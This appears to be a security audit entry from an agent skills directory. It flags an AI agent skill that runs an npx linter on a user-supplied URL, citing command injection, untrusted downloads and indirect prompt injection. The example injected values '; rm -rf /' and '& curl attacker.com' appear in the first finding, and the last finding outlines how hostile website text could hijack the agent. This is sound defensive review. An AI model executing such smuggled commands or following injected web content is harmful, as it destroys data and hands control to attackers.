The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): The skill instructs the agent to run npx @cjavdev/agent-lint <url> --agent. The <url> parameter is a user-controlled variable interpolated directly into a shell command. Without strict sanitization, an attacker could inject additional commands (e.g., ; rm -rf / or & curl attacker.com).
[EXTERNAL_DOWNLOADS] (HIGH): The skill relies on npx to download and execute code from the npm registry at runtime. The package @cjavdev/agent-lint is not from a trusted organization or repository defined in the security policy, representing an untrusted dependency.
[REMOTE_CODE_EXECUTION] (HIGH): The use of npx to fetch and execute a remote package combined with shell-based invocation of user input constitutes a high-risk remote code execution vector.
[PROMPT_INJECTION] (MEDIUM): (Category 8: Indirect Prompt Injection) The skill ingests data from external websites through the audit process.
Ingestion points: External URLs crawled by the CLI tool.
Boundary markers: Absent; the agent is simply told to "Parse Results" and "Present Remediation Plan" from the output.
Capability inventory: Shell execution (npx), file access (implied via config flags).
Sanitization: None specified. An attacker-controlled website could include malicious text in its content (e.g., in a markdown file or meta tag) that the agent might interpret as instructions during the parsing and reporting phase.

agentlint